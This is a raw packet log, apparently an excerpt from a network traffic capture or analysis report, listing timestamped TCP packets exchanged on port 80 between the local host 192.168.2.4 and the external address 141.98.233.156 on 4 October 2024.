Oct 4, 2024 09:52:26.158212900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.158246994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.158291101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.158557892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.158596992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.158601999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.158617020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.158643007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.158665895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.159209967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.159224987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.159239054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.159266949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.159288883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.246376038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.246443987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.246495962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.246529102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.246546984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.246563911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.246576071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.246614933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.246690035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.246738911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.246964931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.247014046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.247016907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.247050047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.247066021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.247081995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.247101068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.247123957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.247617960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.247672081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.247673035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.247704029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.247721910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.247755051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.247764111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.247816086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.248429060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.248517990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.248518944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.248550892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.248569965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.248604059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.248641968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.248692989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.249289989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.249321938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.249346018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.249353886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.249366999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.249423027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.249435902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.249489069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.250082970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.250137091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.250207901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.250240088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.250262976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.250271082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.250284910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.250318050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337177992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337246895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337274075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337282896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337335110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337368965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337400913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337434053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337447882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337447882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337447882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337447882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337465048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337486982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337486982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337500095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337532043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337536097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337568045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337588072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337932110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337965012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.337994099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.337997913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338018894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338047028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338074923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338108063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338130951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338140965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338179111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338217020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338392019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338423014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338442087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338457108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338468075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338510036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338520050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338570118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338924885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.338989973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.338998079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339026928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339051008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339077950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339087963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339111090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339129925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339144945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339164019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339198112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339471102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339519978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339534044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339549065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339576960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339606047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339643002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339658022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339673042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.339689970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.339718103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.340281963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.340306997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.340322018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.340357065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.340388060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.340482950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.340497017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.340511084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.340526104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.340543985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.340579033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.340625048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.341346025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.341360092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.341373920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.341398001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.341404915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.341412067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.341427088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.341440916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.341444969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.341474056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.341506958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.342144012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.342197895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.342207909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.342222929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.342251062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.342283010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.342350006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.342398882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.342645884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.342690945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426336050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426384926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426420927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426443100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426475048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426482916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426510096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426513910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426513910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426554918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426561117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426594019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426604986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426626921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426637888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426661015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426671982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426695108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426704884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426732063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426743031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426764965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426778078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426800966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426806927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426830053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.426845074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426867008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.426980019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427007914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427030087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427040100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427053928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427072048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427086115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427099943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427114964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427133083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427145004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427165031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427175999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427206993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427213907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427247047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427258015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427289009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427294016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427326918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427341938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427356958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427371979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427406073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427421093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427468061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427472115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427500963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427515030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427531004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427551031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427563906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427571058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427596092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427608967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427630901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427638054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427673101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427701950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427733898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427747011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427766085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427778006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427808046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427856922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427889109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427901983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427921057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.427934885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.427998066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428009033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428056955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428061962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428106070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428117037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428137064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428159952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428169966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428191900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428198099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428221941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428230047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428248882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428309917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428328037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428364992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428607941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428641081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428658009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428673029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.428683996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.428721905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433062077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433137894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433252096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433264017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433278084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433294058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433295012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433307886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433324099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433334112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433368921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433516979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433581114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433621883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433636904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433650970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433665991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433669090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433681011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433689117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433697939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433712006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.433727026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433747053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433778048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.433969975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434015036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434148073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434163094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434187889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434211969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434227943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434242964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434257984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434269905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434273005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434288025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434290886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434314966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434350014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434679031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434694052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434708118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434721947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434722900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434746027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434779882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.434962988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434978008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.434992075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435005903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435007095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.435022116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435041904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.435075998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.435440063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435455084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435468912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435482025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435487986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.435497046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435509920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.435511112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435525894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435540915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.435544014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.435568094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.435590029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.436131954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436146975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436161041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436175108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436181068 CEST	49745	80	192.168.2.4	141.98.233.156
